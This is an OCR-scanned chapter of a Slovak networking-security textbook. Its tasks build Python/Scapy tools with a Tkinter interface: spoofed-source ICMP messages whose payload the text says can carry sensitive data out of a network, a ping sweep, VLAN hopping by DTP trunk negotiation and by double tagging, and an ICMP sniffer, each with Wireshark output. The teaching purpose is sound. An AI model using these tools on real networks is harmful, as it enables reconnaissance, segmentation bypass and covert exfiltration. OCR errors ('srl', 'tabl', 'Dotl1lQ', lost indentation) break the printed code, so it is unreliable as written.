Cielom tejto kapitoly je ukazat realizaciu réznych typov penetracnych testov cielenych na
pocitacovu siet implementaciou vlastného nastroja, naprogramovaného jazykom Python. Venovat sa
budeme aj spdsobu ako vytvorit detekény nastroj vyuZitim databazy a strojového ucenia.

Prerekvizity

Tato kapitola je vhodna aj pre Gplnych zagiatoénikov v programovani. Citatefom staéi disponovat
zdkladnymi vedomostami z oblasti poéitaéovych sieti (OSI model, VLAN, ARP, Ping).

Vyuzité technologie
V ramci tejto kapitoly sa bude pracovat s nasledujicimi technoldgiami:

Tvorba desktopovej aplikacie vyuzitim kniznice Tkinter.
Programovaci jazyk Python a kniznica Scapy.

PostgreSQL databaza.

Scikit-Learn pre pracu so strojovym ucenim.

Sietova infrastruktura (Prepinace, Smerovace).
Wireshark pre kontrolu priebehu penetracnych testov.

No vk wnNpe

Programovaci jazyk Kotlin pre tvorbu mobilnej aplikacie.

Zbierka rieSenych uloh

Zbierka uloh pozostdva z ukazky vzorového rieSenia Sestnastich Uloh zameranych na precvic¢enie
praktickych zrucnosti spajajucich rbézne odvetvia informatiky (PocitaCové siete, Bezpecnost,
Programovanie, Databazy a Strojové ucenie).

Uloha 0: Vytvorenie zakladného projektu v IDE PyCharm

Do systému je potrebné najskor nainstalovat podporu pre jazyk Python verzie 3.x.x (mozné
stiahnut z: https://www.python.org/downloads/). Podiatoéna instalacia Python-u v sebe obsahuje
zékladné vyvojové prostredie IDLE. Vhodnejsie je ale pracovat s niektorym z dostupnych IDE. V nasom
pripade sa bude pracovat snastrojom PyCharm Community (moiné stiahnut z:
https://www.jetbrains.com/pycharm/download/#section=windows).

Po nainstalovani podpory pre jazyk a vyvojového prostredia je potrebné, pre vytvorenie nového
projektu, vyhladat zaloZku File > Create Project. Projektu staci zadat nazov a zvolit jeho umiestnenie a
po vyplneni tychto Udajov stladit tladidlo Create.

Po vytvoreni projektu je mozné upravovat vytvoreny stbor s priponou .py, alebo vytvérat vlastné
pracovné subory (kliknutim pravym tlacidlom mysi na ndzov vytvoreného projektu a zvolenim
moznosti New > Python File). KedZe Python je Interpretovany jazyk, tak je do suboru mozné priamo
zaddvat pozadované prikazy, s naslednym interpretovanim suboru - stla¢enim tladidla vyvojového
prostredia RUN. Pre lepsiu orientaciu bude v kazdom subore vloZzena metdda main, v ktorej budu
zadavané prikazy a volané obsluzné funkcie. Zakladny zdrojovy kéd je na nasledujicom vypise:

if __name__ == '__main__':
print("Hello Network")
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Uloha 1: Vytvorenie jednoduchého pouZivatelského rozhrania

Cieflom tejto uUlohy je ukazat ako je moiné, vyuZitim kniZnice Tkinter, vytvorit jednoduché
pouzivatelské rozhranie aplikacie, ktoré umozni od pouzivatela nacitat potrebné data, pridat tlacidlo,
po ktorého stladeni sa spusti obsluzna funkcia a nasledne vypisat text do aplikacie.

Prvym krokom je vytvorenie objektu pre okno aplikacie, ktorému je mozné nastavit atributy ako
jeho nazov, logo ¢i rozmery. Nasledujuci zdrojovy kéd znazornuje vytvorenie prazdneho okna:

from tkinter import *
from PIL import ImageTk, Image

if __name__ == '__main__":
root = Tk()
root.title("GUI App")
root.iconphoto(True, ImageTk.PhotoImage(Image.open("cnllogo.png")))

root.geometry("400x200")

root.mainloop()

Do vytvoreného okna nasledne staé¢i vkladat elementy, s ktorymi budeme chciet pracovat.
V nasom pripade sa pre vypis textu bude pracovat selementom Label, pre ziskanie vstupu od
pouzivatela s elementom Entry, a pre prdcu s tla¢idlom s elementom Button. Uvedené elementy je
potrebné volat pred metddou mainloop(). Nastavenie pozicie vkladania elementov bude realizované
vyuzitim mriezky, ktord umoziiuje rozdelit okno na riadky a stipce, do ktorych je mozné nasledne
vkladat na prislusné miesto nami zvolené elementy. Nasledujici vypis znazorfiuje vzorové rieSenie
vytvorenia pouzivatelského rozhrania:

from tkinter import *
from PIL import ImageTk, Image

def user_input_function():
Label(root, text=user_input_variable.get(), font=("Helvetica", 18), fg="red").grid(columnspan=2,
row=3)

if __name__ == '__main__':
root = Tk()
root.title("Manage Hostname")

root.iconphoto(True, ImageTk.PhotoImage(Image.open("cnllogo.png")))

root.geometry("400x200")

user_input_variable = StringVar(root, "")

Label(root, text="Uloha 1: Vytvorenie GUI", font=("Helvetica", 22),
fg="blue").grid(columnspan=2, row=0)

Label(root, text="Zadaj text:").grid(column=0, row=1)

Entry(root, textvariable=user_input_variable).grid(column=1, row=1)

Button(root, text="Citaj vstup", command=user_input_function).grid(column=0, row=2)

root.mainloop()

Ocakdavany vystup aplikacie je znazorneny na obrazku 8.1:

Uloha 1: Vytvorenie GUI

Zadaj text: Poutivatelsky vstup

Citaj vstup

Pouzivatelsky vstup

Obrdzok 8.1 PouZivatelské rozhranie aplikdcie
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Ako je moiné vidiet, praca s elementmi pre tvorbu pouzivatelského rozhrania je jednoducha.
Element Label vyzaduje ako argument okno, do ktorého bude element patrit; text, ktory sa vypise
(volitelne je moziné nastavit typ, farbu avelkost fontu); acez grid, nastavenie umiestnenia do
prislusného riadku a stipca. Ak sa ma dany element nachadzat vo viacerych stipcoch, $pecifikuje sa to
cez columnspan atribut. Dal$im elementom je Entry, ktory ma ako argument okno, do ktorého bude
vloZeny a premennu typu StringVar, do ktorej sa ulozZi text, ktory do elementu zada pouZivatel.
Poslednym elementom je Button, ktory ma ako argumenty okno, kde sa bude nachadzat; text, ktory
bude na tlacidle zobrazeny a funkcia, zavolana po jeho stlaceni. V naSom pripade je obsluznd funkcia
umiestnena pred funkciou main. Ulohou obsluinej funkcie je vytvorenie novej znacky a jej umiestnenie
do vytvorenej aplikacie, pricom jej Ulohou je zobrazenie textu, ktory zadal pouzivatel do Entry.

KedZe budeme v nasom pripade neskér implementovat viacero funkcionalit, tak aby nebolo nutné
zakaZzdym vytvarat nové okno a novu aplikdciu, tak si ukdZzeme pracu s elementom pre tvorbu zélozZiek,
kde kazda zaloZzka bude predstavovat implementaciu jednej Glohy:

from tkinter import ttk

tabControl = ttk.Notebook(root)

tabl = ttk.Frame(tabControl)

tab2 = ttk.Frame(tabControl)

tabControl.add(tabl, text="Prva zalozka")
tabControl.add(tab2, text="Druha zalozka")
tabControl.pack(expand=1, fill="both")

Label(tabl, text="Zadaj text:").grid(column=0, row=1)

Zalozky sa vytvaraju cez Element Notebook. Nasledne sa cez metddu Frame vytvoria Casti pre
jednotlivé zalozky, ktoré je mozné pomenovat a pridat do zoznamu zaloZiek. Od tejto chvile pri vkladani
novych elementov ako Label, Entry a pod. nebude pouZivany ako prvy argument root ale nazov
zalozky. Predchddzajuci vypis zndzornuje presne takuto situaciu. Obrazok 8.2 zndzorniuje ocakavany
vystup po pridani kddu pre tvorbu zaloZiek:

v GUI Aplikécia = O X

Prva zdlozka Druha zilozka

Uloha 1: Vytvorenie GUI

Zadaj text:
Citaj vstup

Obrazok 8.2 PouZivatelské rozhranie so zdlozkami

Uloha 2: Viytvorenie nastroja pre tvorbu vlastnej ICMP spravy

Cielom tejto ulohy je vyskusat si vytvorit vlastny nastroj pre tvorbu vlastnej ICMP spravy, v ktorej
bude mozné modifikovat zdrojovu a cielovl IP adresu a obsah prenasanej spravy. Pre jednoduchost
tvorby datovej jednotky bude pouZita kniznica Scapy, ktora umoznuje vytvorit PDU s standardnymi
hodnotami, ktoré je mozné podla vlastnych poziadaviek menit. Pouzivatelské rozhranie pre tento ucel
moze vyzerat nasledovne (obrédzok 8.3):

Ping Attack
Set Source IP Address: |10.10.10.19
Set Destination IP Address:|10.10.10.1
Set Message to Send:  |Secret MSG 123

Send Ping

Obradzok 8.3 PouZivatelské rozhranie pre
vytvorenie ICMP sprdvy
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Zdrojovy kod pre tvorbu vysSie uvedeného pouzivatelského rozhrania je zndzorneny

v nasledujucom vypise:

src_ip_add_value = StringVar(root, "")
dst_ip_add_value = StringVar(root, "")
msg_value = StringVar(root, "")

Label(tab1, text="Ping Attack").grid(columnspan=2, row=0)
Label(tabl, text="Set Source IP Address:").grid(column=0, row=1)
src_ip_add = Entry(tabl, textvariable=src_ip_add_value).grid(column=1, row=1)

Label(tabl, text="Set Destination IP Address:").grid(column=0, row=2)
dst_ip_add = Entry(tabl, textvariable=dst_ip_add_value).grid(column=1, row=2)

Label(tabl, text="Set Message to Send:").grid(column=0, row=3)
msg = Entry(tabl, textvariable=msg value).grid(column=1, row=3)

Button(tabl, text="Send Ping", command=T1l_create_ping).grid(column=0, row=4)

Obsluzna funkcia volana po stlaceni tlacidla vyzera nasledovne:

def T1_create_ping():

icmp = IP(src=src_ip_add_value.get(), dst=dst_ip_add_value.get())/ICMP()/msg_value.get()

resp = srl(icmp, timeout=2)

Ako je mozné vidiet, staci vytvorit objekt pre IP(), ICMP() a zretazit ich cez znacku /, pricom v IP
hlavicke staci upravit pole pre src a dst, ktoré predstavuju zdrojovu a ciefovu IP adresu. Retazec zadany
po ICMP hlavicke predstavuje payload v prenasanej ICMP echo request sprave. Funkcia sr1 nasledne
dostéava ako argument vytvorend ICMP spravu, ktort odosle do ciela a bude ¢akat na odpoved po dobu
definovanu argumentom timeout. Pre Ucely tejto Ulohy sa dalej nepracuje s odpovedou, ciefom bolo
len odoslat dand spravu do ciela. Vyuzitim tohto nastroja je mozné cez payload vyniest citlivé

informdcie von z chranenej infrastruktuary.

V tejto ulohe nebola vytvarana Ethernetova hlavitka (mohla byt). Ak Ethernetovi hlavicku
nedefinujeme, tak ako zdrojova MAC adresa je pouZitd nasa MAC adresa a ako cielovd MAC adresa je
pouzitd broadcastovd adresa FF:FF:FF:FF:FF:FF. Spravnost rieSenia je moiné overit odchytenim

vytvorenej spravy nastrojom Wireshark, ¢o znazoriuje obrazok 8.4:

‘» 2..8669.709614 10.10.10.19 10.10.10.1 Icme 56 Echo (ping) request 1id=0x0000, seq=0/0, ttl=64 (reply i

< 2..8669.710223 10.10.10.1 10.10.10.19 ICMP 60 Echo (ping) reply
<

id=0x0000, seq=0/0, ttl=64 (request

Frame 290399: 56 bytes on wire (448 bits), 56 bytes captured (448 bits) on interface \Device\NPF_{CE15F75D-7461-4132-B273-1D4AF31940D9}, id @

Ethernet II, Src: LCFCHeFe_32:35:18 (28:d2:44:32:35:18), Dst: Ubiquiti_09:c@:18 (fc:ec:da:09:c0:18)
v Internet Protocol Version 4, Src: 10.10.10.19, Dst: 10.10.10.1
0100 .... = Version: 4
. 0101 = Header Length: 20 bytes (5)
Differentiated Services Field: ©x0@ (DSCP: CS®, ECN: Not-ECT)
Total Length: 42
Identification: ©x0001 (1)
Flags: 0x00
...0 0000 0000 00O = Fragment Offset: ©
Time to Live: 64
Protocol: ICMP (1)
Header Checksum: ©x52ab [validation disabled]
[Header checksum status: Unverified]

0000 fc ec da 09 c@ 18 28 d2 44 32 35 18 08 00 45 00 (- D25---E
00 2a 00 91 00 00 40 01 52 ab ©a @a @a 13 @a @a o @ R
@a 01 08 00 15 bb 00 0@ 00 00 53 65 63 72 65 74 Secret
20 4d 53 47 20 31 32 33 MSG 123

Obrdzok 8.4 Odchytenie vytvorenej ICMP sprdvy ndstrojom Wireshark
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Uloha 3: Vytvorenie nastroja pre skenovanie aktivnych IP adries

Nastroj pre skenovaci Utok aktivnych IP adries je mozné realizovat tak, ze odosleme ICMP Echo
request spravy v cykle s postupne narastajucou hodnotou cielovej IP adresy. Na to stadi vyuzivat
implementaciu z predchadzajucej ulohy. Obrdzok 8.5 znazorriuje mozné pouzivatelské rozhranie:

Ping Scan
Set Source IP Address: 10.10.10.19
Set Destination Network Address: 10.10.10.0/24
Start IP Number: 1
End IP Number: 20

Start Scan
Active IP Address: ['10.10.10.1", '10.10.10.19]

Obrazok 8.5 PouZivatelské rozhranie pre skenovanie siete

Funkcia pre implementaciu tejto Ulohy je zndzornend v nasledujicom vypise:

def T2_ping_range():

array = str(T2_dst_ip_add_value.get()).split(".")

net_addr = array[@]+"."+array[1]+"."+array[2]+"."

active_ip_add = []

for i in range(int(T2_dst_start_value.get()), int(T2_dst_end_value.get())+1):
icmp = IP(src=T2_src_ip_add_value.get(), dst=net_addr+str(i)) / ICMP()/"test"
resp = srl(icmp, timeout=0.5)
if resp:

active_ip_add.append(net_addr+str(i))
Label(tab2, text=f"Active IP Address: {active ip add}").grid(column=0, row=6)

Uvedena funkcia zoberie vstup od pouZivatela a ziska z neho cielovu sietovl adresu. Z tejto adresy
vytvorime pole, ktoré vznikne rozdelenim adresy podla bodiek. Nasledne sa vytvori pole pre aktivne IP
adresy, do ktorého sa budu ukladat adresy, z ktorych dostaneme odpoved. Nasledne sa for cyklus
vykond tolko krat, kolko definuje pouZzivatel v poliach Start IP Number a End IP Number, kde
inkrementujicu hodnotu priddvame do posledného oktetu cielovej adresy vo vytvdranych ICMP
spravach. V pripade, Ze funkcia sri vrati hodnotu true (prijali sme odpoved), tak sa uvedena cielova IP
adresa pripiSe do pola. Po skonceni cyklu sa do pouzZivatelského rozhrania vypiSe pole aktivnych IP
adries. Overit spravnost vytvoreného nastroja je moiné vyuzitim ndstroja Wireshark, ktorého
ocakavany vystup je znazorneny na obrazku 8.6:

2..8362.451578 10.10.10.19 10.10.10.1 ICHP 46 Echo (ping) request id=0x0000, seq=0/@, ttl=64 (reply in 284374)
2..8362.451880 10.10.10.1 10.10.10.19  ICMP 60 Echo (ping) reply  id=0x0000, seq=0/@, tt1=64 (request in 284373)
2. 8364.608034 10.10.10.19 10.10.10.2 IcMe 46 Echo (ping) request 1id=0x0000, seq=0/0, ttl=64 (no response found!)
2..8367.138529 10.10.10.19 10.10.10.3 IcMe 46 Echo (ping) request 1id=0x0000, seq=0/@, ttl=64 (no response found!)
2..8369.657131 10.10.10.19 10.10.10.4 IcMe 46 Echo (ping) request 1id=0x0000, seq=0/0, ttl=64 (no response found!)
2..8372.194718 10.10.10.19 10.10.10.5 IcMe 46 Echo (ping) request 1id=0x0000, seq=0/@, ttl=64 (no response found!)
2..8374.721703 10.10.10.19 10.10.10.6 IcMe 46 Echo (ping) request 1id=0x0000, seq=0/@, ttl=64 (no response found!)
2..8377.254085 10.10.10.19 10.10.10.7 IcMe 46 Echo (ping) request 1id=0x0000, seq=0/@, ttl=64 (no response found!)
2..8379.777770 10.10.10.19 10.10.10.8 IcMe 46 Echo (ping) request 1id=0x0000, seq=0/@, ttl=64 (no response found!)
2..8382.317611 10.10.10.19 10.10.10.9 IcMe 46 Echo (ping) request 1id=0x0000, seq=0/@, ttl=64 (no response found!)
2..8384.851541 10.10.10.19 10.10.10.10 IcMe 46 Echo (ping) request 1id=0x0000, seq=0/@, ttl=64 (no response found!)
2..8387.383767 10.10.10.19 10.10.10.11 IcMp 46 Echo (ping) request 1id=0x0000, seq=0/@, ttl=64 (no response found!)
2..8389.915448 10.10.10.19 10.10.10.12 IcMe 46 Echo (ping) request 1id=0x0000, seq=0/@, ttl=64 (no response found!)
2..8392.446244 10.10.10.19 10.10.10.13 ICMP 46 Echo (ping) request 1id=0x0000, seq=0/@, ttl=64 (no response found!)
2..8395.000332 10.10.10.19 10.10.10.14 IcMP 46 Echo (ping) request 1id=0x0000, seq=0/0, ttl=64 (no response found!)
2..8397.519814 10.10.10.19 10.10.10.15 ICcMP 46 Echo (ping) request id=@x0000, seq=0/@, ttl=64 (no response found!)
2..8400.049103 10.10.10.19 10.10.10.16 IcMP 46 Echo (ping) request 1id=0x0000, seq=0/@, ttl=64 (no response found!)
2..8402.571263 10.10.10.19 10.10.10.17 ICMP 46 Echo (ping) request id=0x0000, seq=0/0, ttl=64 (no response found!)
2..8405.096491 10.10.10.19 10.10.10.18 IcMP 46 Echo (ping) request id=0x0000, seq=0/@, ttl=64 (no response found!)
2..8407.694686 10.10.10.19 10.10.10.20 IcMP 46 Echo (ping) request id=0x0000, seq=0/0, ttl=64 (no response found!)

<

v Internet Protocol Version 4, Src: 10.10.10.1, Dst: 10.10.10.19
0100 .... = Version: 4
. 0101 = Header Length: 20 bytes (5)
Differentiated Services Field: ©x@@ (DSCP: CS@, ECN: Not-ECT)
Total Length: 32

0000 28 d2 44 32 35 18 fc ec da 09 cO 18 08 00 45 @0  (-D25--- ---- E
00 20 59 dc 00 00 40 01 8 d9 0a @a Ga 01 @a Qa Yooo@ oo
Qa 13 00 00 18 26 00 00 00 00 74 65 73 74 00 00 - -&-- - -test-

00 00 00 00 00 00 00 00 00 00 00 00

Obrdzok 8.6 Odchytenie vytvorenych ICMP sprdv ndstrojom Wireshark
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Mozeme si vsimnut, Ze z aktivnych IP adries bola prijata aj odpoved, priCom z neaktivnych nie.
Obrazok 8.6 zaroven potvrdzuje to, Ze nastroj naozaj testuje kazdu IP adresu z definovaného rozsahu.

Uloha 4: Vytvorenie nastroja pre vyjednanie trunk-u a odoslanie dat so znackou

V rdmci tohto nastroja je ciefom vyjednanie trunk rozhrania a odoslanie spravy cielenej do zvolenej
VLAN. Kniznica Scapy ma aj pre tento ucel implementované hlavicky pre vloZenie 802.1q tagu
a odoslanie DTP spravy. Obrdzok 8.7 znazornuje vzhlad mozného pouzivatelského rozhrania:

VLAN Hopping Attack
Set Source IP Address:  [10.10.10.19
Set Destination IP Address:|10.10.10.1
Set Destination VLAN |13

Send Message

Obrdzok 8.7 PouZivatelské rozhranie pre VLAN
hopping utok

Zdrojovy kod pre funkciu realizujucu VLAN Hopping Utok zaloZzeny na vyjednani trunk rozhrania
(odoslanie DTP spravy) a odoslani oznacenej spravy prisluSnym tagom zndazornuje nasledujuci vypis:

def T3_Trunk_Negotiation():

negotiate_trunk(iface="Fa0/1")

packet = Dot1Q(vlan=int(T3_dst_vlan_value.get())) / IP(src=T3_src_ip_add_value.get(),
dst=T3_dst_ip_add_value.get())/ICMP()/"My MSG"

resp = srl(packet, timeout=2)

Ako je moiné vidiet, tak jedinym rozdielom od predchadzajucich uloh je, Ze pred samotnu IP
hlavicku bola pridana este jedna hlavicka a to hlavicka Dot1Q, ktord obsahuje pouzivatefom zvolené
¢islo VLAN. Pred samotnym odoslanim ICMP spravy je eSte volana funkcia negotiate_trunk, ktora je
implementovana v kniznici Scapy a dokadie odoslat DTP spravu, ¢im spdsobi vyjednanie trunk
rozhrania. Jedinou nevyhodou uvedenej funkcie je, Ze v Standardnom nastaveni posiela DTP spravy bez
VTP domény. Obrdazok 8.8 znazornuje odoslanie DTP spravy a ICMP sprav s tagom:

| W Jiemp 11 dtp
No. Time Source Destination Protocol Length Info
1.. 1061.278103 10.10.10.19 10.10.10.1 ICMP 46 Echo (ping) request 1d=0x0000, seq=0/0, ttl=64 (no resg

Ethernet II, Src: LCFCHeFe_32:35:18 (28:d2:44:32:35:18), Dst: Broadcast (ff:ff:ff:ff:ff:ff)
802.1Q Virtual LAN, PRI: @, DEI: @, ID: 13

Internet Protocol Version 4, Src: 10.10.10.19, Dst: 10.10.10.1

Internet Control Message Protocol

0000 ff ff ff ff f £f 28 d2 44 32 35 18 81 00 (- p25-- -
0010 45 90 00 1c 00 @1 ©0 00 40 01 52 b9 0a 0a [HE @R
@a 13 0a 0a 0a 01 08 @0 f7 ff 00 00 00 00

Obradzok 8.8 Odchytenie vytvorene spravy vykondvajucej VLAN hopping utok ndstrojom Wireshark
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Uloha 5: Tvorba nastroja pre VLAN hopping vyuZitim dvojitého zna&enia

Prenos dat z jednej VLAN do inej je mozné realizovat vyuzitim dvojitého znacenia, kde vonkajsia
znacka VLAN bude totoznd s nativnhou VLAN trunkového rozhrania a vnutorna znacka bude obsahovat
znacku cielovej VLAN, do ktorej chceme data dorudit. PouZivatelské rozhranie méze byt nasledovné
(obrazok 8.9):

Double Tagging Attack
Set Source IP Address:  (10.10.10.19
Set Destination |P Address:|{10.10.10.1
Set Destination VLAN |13
Set Native VLAN 8

Obrazok 8.9 PouZivatelské rozhranie pre utok
dvojitym znacenim

Funkcia pre vytvorenie spravy umoziujucej dvojité znacenie je znazornena v nasledujicom vypise:

def T4 _Double_Tagging():

T4_src_ip = T4_src_ip_add_value.get()

T4_dst_ip = T4_dst_ip_add_value.get()

T4_dst_vlan = T4_dst_vlan_value.get()

T4_native_vlan = T4_native_vlan_value.get()

packet = Dot1Q(vlan=int(T4_native_vlan))/Dotl1lQ(vlan=int(T4_dst_vlan))/IP(src=T4_src_ip,
dst=T4_dst_ip)/ICMP()/"My MSG"

resp = srl(packet, timeout=2)

Spravnost rieSenia je mozné pozorovat v nastroji Wireshark. Na obrazku 8.10 je mozné vidiet

dvojicu znadiek:

L 2. 4140.754924 10.10.10.19 10.10.10.1 ICMP 56 Echo (ping) request id=0x0000, seq=0/0, ttl=64 (no resp
<

Frame 267774: 56 bytes on wire (448 bits), 56 bytes captured (448 bits) on interface \Device\NPF_{CE15F75D-7461-4132-B273-1D4AF31940D9}, id @
Ethernet II, Src: LCFCHeFe_32:35:18 (28:d2:44:32:35:18), Dst: Ubiquiti_09:¢0:18 (fc:ec:da:09:¢0:18)

802.1Q Virtual LAN, PRI: @, DEI: @, ID: 8

802.1Q Virtual LAN, PRI: ©, DEI: @, ID: 13

Internet Protocol Version 4, Src: 10.10.10.19, Dst: 10.10.10.1

Internet Control Message Protocol

0000 fc ec da 09 c@ 18 28 d2 44 32 35 18 81 00 00 @8  ------ (- D25-----
0010 81 00 00 @d 08 00 45 00 ©0 22 00 01 @0 @0 40 01  ------E- -"..--@-
0020 52 b3 0a 0a Qa 13 0a Ga ©a 01 ©8 00 36 f2 00 00 R------- ---- 6---
0030 00 00 4d 79 20 4d 53 47 - My MSG

Obrdzok 8.10 Odchytenie vytvorenej sprdvy vykondvajucej ttok dvojitym znacenim ndstrojom Wireshark
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Uloha 6: Tvorba vlastného Sniffer nastroja

V tejto Ulohe bude ukdzané, ako je mozné vyuzitim kniznice Scapy vytvorit vlastny nastroj na
odchytdvanie paketov. Obrazok 8.11 znazorfiuje mozny vzhlad aplikacie:

Sniffing ICMP messages

Set Packet Count: 125
Show Captured ICMP Packet:
Ether / IP / ICMP 10.10.10.19 > 10.10.10.1 echo-request 0 / Raw b'Secret msg1’
Ether / IP / ICMP 10.10.10.1 > 10.10.10.19 echo-reply 0 / Raw / Padding b'Secret msg1'

Ether / IP / ICMP 10.10.10.19 > 147.232.55.96 echo-request 0 / Raw  b'abcdefghijkimnopqrstuvwabcdefghi’
Ether / IP / ICMP 10.10.10.19 > 147.232.55.96 echo-request 0 / Raw  b'abcdefghijkimnopqrstuvwabcdefghi'
Ether / IP / ICMP 147.232.55.96 > 10.10.10.19 echo-reply 0 /Raw  b'abcdefghijkimnopgrstuvwabcdefghi’
Ether / IP / ICMP 10.10.10.19 > 147.232.55.96 echo-request 0/ Raw  b'abcdefghijkimnopqrstuvwabcdefghi’
Ether / IP /1ICMP 10.10.10.19 > 147.232.55.96 echo-request 0/ Raw  b'abcdefghijkimnopqrstuvwabedefghi'
Ether / IP / ICMP 147.232.55.96 > 10.10.10.19 echo-reply 0 /Raw  b'abcdefghijkimnopgrstuvwabcdefghi’
Ether / IP / ICMP 10.10.10.19 > 147.232.55.96 echo-request 0 / Raw  b'abcdefghijkimnopqrstuvwabcdefghi’
Ether / IP /ICMP 10.10.10.19 > 147.232.55.96 echo-request 0 / Raw  b'abcdefghijkimnopqrstuvwabcdefghi’
Ether / IP / ICMP 147.232.55.96 > 10.10.10.19 echo-reply 0 / Raw  b'abcdefghijkimnopgqrstuvwabcdefghi’
Ether / IP / ICMP 10.10.10.19 > 147.232.55.96 echo-request 0 / Raw  b'abcdefghijkimnopqrstuvwabcdefghi’
Ether / IP / ICMP 10.10.10.19 > 147.232.55.96 echo-request 0 / Raw  b'abcdefghijkimnopqrstuvwabcdefghi'
Ether / IP / ICMP 147.232.55.96 > 10.10.10.19 echo-reply 0 / Raw  b'abcdefghijkimnopgrstuvwabcdefghi'
Ether / IP / ICMP 10.10.10.19 > 10.10.10.1 echo-request 0 / Raw b'TOP Secret msg 2'
Ether / IP / ICMP 10.10.10.1 > 10.10.10.19 echo-reply 0 / Raw / Padding b'TOP Secret msg 2'
Ether / IP / ICMP 10.10.10.19 > 147.232.55.96 echo-request 0 / Raw  b'abcdefghijkimnopqrstuvwabcdefghi’
Ether / IP / ICMP 10.10.10.19 > 147.232.55.96 echo-request 0 / Raw  b'abcdefghijkimnopqrstuvwabcdefghi'
Ether / IP / ICMP 147.232.55.96 > 10.10.10.19 echo-reply 0 /Raw  b'abcdefghijkimnopgrstuvwabcdefghi’
Ether / IP / ICMP 10.10.10.19 > 147.232.55.96 echo-request 0/ Raw  b'abcdefghijkimnopgqrstuvwabcdefghi'
Ether / IP / ICMP 10.10.10.19 > 147.232.55.96 echo-request 0 / Raw  b'abcdefghijkimnopqrstuvwabcdefghi’
Ether / IP / ICMP 147.232.55.96 > 10.10.10.19 echo-reply 0 /Raw  b'abcdefghijkimnopgrstuvwabcdefghi’
Ether / IP / ICMP 10.10.10.19 > 147.232.55.96 echo-request 0 / Raw  b'abcdefghijkimnopqrstuvwabcdefghi'
Ether /IP / ICMP 10.10.10.19 > 147.232.55.96 echo-request 0 / Raw  b'abcdefghijkimnopgrstuvwabcdefghi'
Ether / IP / ICMP 147.232.55.96 > 10.10.10.19 echo-reply 0 /Raw  b'abcdefghijkimnopgrstuvwabcdefghi’

Obrdzok 8.11 Okno aplikdcie zobrazujice ochytenu komunikdciu

Pre implementéciu nastroja pre odchytavanie dat stadi vyuzit objekt sniff, v ktorom je mozné
nastavit filter a poCet odchytenych dat. Nasledne je mozné odchytené data vypisat cez for cyklus, kde
metdda summary vypiSe zakladné informacie av atribite load je moZné ndjst samotny payload.
Implementaciu funkcie je mozné vidiet v nasledujicom vypise:

def T5_Packet_Capture():

packets = sniff(filter="icmp", count = int(T5_number_of_icmp_msg_value.get()))

for packet in range(©@, int(T5_number_of_icmp_msg_value.get())):

ttk.Label(tab5, text=f"{packets[packet].summary()}").grid(column=0, row=packet+3)
ttk.Label(tab5, text=f"{packets[packet].load}").grid(column=1, row=packet+3)

Na obrazku 8.12 je mozné vidiet odchytavanie dat vyuZitim nastroja Wireshark:
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W Jioro

BE3 -+

No. Time

5.. 13073.891100
5.. 13073.891440
5.. 13077.259942
5.. 13877.259960
5.. 13077.26999%6
S.. 13078.273580
5.. 13078.273603
5.. 13078.282425
5.. 13079.288171
5.. 13079.288189
5.. 13079.296987
5.. 13080.293497
5.. 13080.293518
5.. 13080.301980
= 5..13093.039718
5.. 13093.040035
5.. 13096.978300
5.. 13096.978316
5.. 13096.988195
5.. 13097.991346
5.. 13097.991362
5.. 13097.999711
5.. 13098.999278
5.. 13098.999295
5.. 13099.007239
5.. 13100.916846
5.. 13100.016864
5.. 13100.925095

|~

Source
10.10.10.19
10.10.10.1
10.10.10.19
10.10.10.19
147.232.55.96
10.10.10.19
10.10.10.19
147.232.55.96
10.10.10.19
10.10.10.19
147.232.55.96
10.10.10.19
10.10.10.19
147.232.55.96
10.10.10.19
10.10.10.1
10.10.10.19
10.10.10.19
147.232.55.96
10.10.10.19
10.10.10.19
147.232.55.96
10.10.1.19
10.10.10.19
147.232.55.96
10.10.10.19
10.10.10.19
147.232.55.96

Destination
10.10.10.1
10.10.108.19
147.232.55.96
147.232.55.96
10.10.108.19
147.232.55.96
147.232.55.96
10.10.10.19
147.232.55.96
147.232.55.96
10.10.10.19
147.232.55.96
147.232.55.96
10.10.10.19
10.10.10.1
10.10.10.19
147.232.55.96
147.232.55.96
10.10.10.19
147.232.55.96
147.232.55.96
10.10.10.19
147.232.55.96
147.232.55.96
10.10.10.19
147.232.55.96
147.232.55.96
10.10.10.19

Protocol
IcMe
IcmMe
IcMP
IcMe
IMP
IcMe
IcmMe
IMe
I
IcMe
Icme
ICMP
IcMP
IcMe
ICMP
IcMp
IcMP
ICcMP
ICMP
IMe
ICcMP
IcMe
ICMP
ICMP
IcMP
ICcMP
IcMP
ICMP

Length

Info
53 Echo
60 Echo
74 Echo
74 Echo
74 Echo
74 Echo
74 Echo
74 Echo
74 Echo
74 Echo
74 Echo
74 Echo
74 Echo
74 Echo
58 Echo
60 Echo
74 Echo
74 Echo
74 Echo
74 Echo
74 Echo
74 Echo
74 Echo
74 Echo
74 Echo
74 Echo
74 Echo
74 Echo

(ping)
(ping)
(ping)
(ping)
(ping)
(ping)
(ping)
(ping)
(ping)
(ping)
(ping)
(ping)
(ping)
(ping)
(ping)
(ping)
(ping)
(ping)
(ping)
(ping)
(ping)
(ping)
(ping)
(ping)
(ping)
(ping)
(ping)
(ping)

request
reply
request
request
reply
request
request
reply
request
request
reply
request
request
reply
request
reply
request
request
reply
request
request
reply
request
request
reply
request
request
reply

1d-0x0000,
1d=0x0000,
1d=0x0001,
1d=0x0001,
1d=0x0001,
1d=0x0001,
1d=0x0001,
1d=0x0001,
1d=0x0001,
1d=0x0001,
1d=0x0001,
1d=-0x0001,
1d=0x0001,
id=0x0001,
1d=0x0000,
1d=0x0000,
1d-0x0001,
1d=0x0001,
id=0x0001,
1d=-0x0001,
1d=0x0001,
id=0x0001,
id=-0x0001,
1d=0x0001,
1d-0x0001,
id-0x0001,
1d=-0x0001,
1d=0x0001,

seq=0/0, ttl=64 (reply in 534698)
seq=0/0, ttl=64 (request in 534697)

5eq=265/2305,
seq=265/2305,
seq=265/2305,
seq=266/2561,
seq=266/2561,
seq=266/2561,
seq=267/2817,
seq=267/2817,
seq=267/2817,
seq=268/3073,
seq=268/3073,
seq=268/3073,

tt1=128 (no response foul
tt1=128 (reply in 534728
ttl1=54 (request in 53472
ttl=128 (no response fou
tt1=128 (reply in 534736
ttl=54 (request in 53473
tt1=128 (no response fou
tt1=128 (reply in 534739
ttl=54 (request in 53473
tt1=128 (no response foul
ttl=128 (reply in 534791
ttl=54 (request in 53479

seq=0/@, ttl=64 (reply in 534822)
seq=0/0, ttl=64 (request in 534821)

seq=269/3329,
seq=269/3329,
seq=269/3329,
seq=270/3585,
seq=270/3585,
seq=270/3585,
seq=271/3841,
seq=271/3841,
